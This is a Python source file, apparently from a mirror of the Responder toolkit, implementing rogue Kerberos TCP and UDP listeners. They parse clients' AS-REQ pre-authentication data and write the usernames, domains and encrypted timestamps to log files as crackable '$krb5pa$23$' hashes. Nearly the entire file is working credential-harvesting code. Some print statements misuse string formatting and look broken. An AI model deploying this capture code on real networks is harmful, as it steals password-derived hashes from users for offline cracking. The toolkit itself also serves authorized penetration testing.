mirror of
https://github.com/lgandx/Responder.git
synced 2025-07-06 04:51:23 -07:00
131 lines
4.6 KiB
Python
131 lines
4.6 KiB
Python
import os
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import struct
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import settings
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from SocketServer import BaseRequestHandler
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from utils import *
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def ParseMSKerbv5TCP(Data):
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MsgType = Data[21:22]
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EncType = Data[43:44]
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MessageType = Data[32:33]
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if MsgType == "\x0a" and EncType == "\x17" and MessageType =="\x02":
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if Data[49:53] == "\xa2\x36\x04\x34" or Data[49:53] == "\xa2\x35\x04\x33":
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HashLen = struct.unpack('<b',Data[50:51])[0]
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if HashLen == 54:
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Hash = Data[53:105]
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SwitchHash = Hash[16:]+Hash[0:16]
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NameLen = struct.unpack('<b',Data[153:154])[0]
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Name = Data[154:154+NameLen]
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DomainLen = struct.unpack('<b',Data[154+NameLen+3:154+NameLen+4])[0]
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Domain = Data[154+NameLen+4:154+NameLen+4+DomainLen]
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BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
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return BuildHash
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if Data[44:48] == "\xa2\x36\x04\x34" or Data[44:48] == "\xa2\x35\x04\x33":
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HashLen = struct.unpack('<b',Data[45:46])[0]
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if HashLen == 53:
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Hash = Data[48:99]
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SwitchHash = Hash[16:]+Hash[0:16]
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NameLen = struct.unpack('<b',Data[147:148])[0]
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Name = Data[148:148+NameLen]
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DomainLen = struct.unpack('<b',Data[148+NameLen+3:148+NameLen+4])[0]
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Domain = Data[148+NameLen+4:148+NameLen+4+DomainLen]
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BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
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return BuildHash
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if HashLen == 54:
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Hash = Data[53:105]
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SwitchHash = Hash[16:]+Hash[0:16]
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NameLen = struct.unpack('<b',Data[148:149])[0]
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Name = Data[149:149+NameLen]
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DomainLen = struct.unpack('<b',Data[149+NameLen+3:149+NameLen+4])[0]
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Domain = Data[149+NameLen+4:149+NameLen+4+DomainLen]
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BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
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return BuildHash
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else:
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Hash = Data[48:100]
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SwitchHash = Hash[16:]+Hash[0:16]
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NameLen = struct.unpack('<b',Data[148:149])[0]
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Name = Data[149:149+NameLen]
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DomainLen = struct.unpack('<b',Data[149+NameLen+3:149+NameLen+4])[0]
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Domain = Data[149+NameLen+4:149+NameLen+4+DomainLen]
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BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
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return BuildHash
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else:
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return False
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def ParseMSKerbv5UDP(Data):
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MsgType = Data[17:18]
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EncType = Data[39:40]
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if MsgType == "\x0a" and EncType == "\x17":
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if Data[40:44] == "\xa2\x36\x04\x34" or Data[40:44] == "\xa2\x35\x04\x33":
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HashLen = struct.unpack('<b',Data[41:42])[0]
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if HashLen == 54:
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Hash = Data[44:96]
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SwitchHash = Hash[16:]+Hash[0:16]
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NameLen = struct.unpack('<b',Data[144:145])[0]
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Name = Data[145:145+NameLen]
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DomainLen = struct.unpack('<b',Data[145+NameLen+3:145+NameLen+4])[0]
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Domain = Data[145+NameLen+4:145+NameLen+4+DomainLen]
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BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
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return BuildHash
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if HashLen == 53:
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Hash = Data[44:95]
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SwitchHash = Hash[16:]+Hash[0:16]
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NameLen = struct.unpack('<b',Data[143:144])[0]
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Name = Data[144:144+NameLen]
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DomainLen = struct.unpack('<b',Data[144+NameLen+3:144+NameLen+4])[0]
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Domain = Data[144+NameLen+4:144+NameLen+4+DomainLen]
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BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
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return BuildHash
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else:
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Hash = Data[49:101]
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SwitchHash = Hash[16:]+Hash[0:16]
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NameLen = struct.unpack('<b',Data[149:150])[0]
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Name = Data[150:150+NameLen]
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DomainLen = struct.unpack('<b',Data[150+NameLen+3:150+NameLen+4])[0]
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Domain = Data[150+NameLen+4:150+NameLen+4+DomainLen]
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BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
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return BuildHash
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else:
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return False
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class KerbTCP(BaseRequestHandler):
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def handle(self):
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try:
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data = self.request.recv(1024)
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KerbHash = ParseMSKerbv5TCP(data)
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if KerbHash:
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Outfile = os.path.join(settings.Config.ResponderPATH, 'logs', "MSKerberos-Client-%s.txt" % self.client_address[0])
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print text("[KERBEROS] Address :" % self.client_address[0])
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print text("[KERBEROS] MSKerbv5 Hash :" % KerbHash)
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WriteData(Outfile, KerbHash, KerbHash)
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except Exception:
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raise
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class KerbUDP(BaseRequestHandler):
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def handle(self):
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try:
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data, soc = self.request
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KerbHash = ParseMSKerbv5UDP(data)
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if KerbHash:
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Outfile = os.path.join(settings.Config.ResponderPATH, 'logs', "MSKerberos-Client-%s.txt" % self.client_address[0])
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print text("[KERBEROS] Address :" % self.client_address[0])
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print text("[KERBEROS] MSKerbv5 Hash :" % KerbHash)
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WriteData(Outfile, KerbHash, KerbHash)
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except Exception:
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raise
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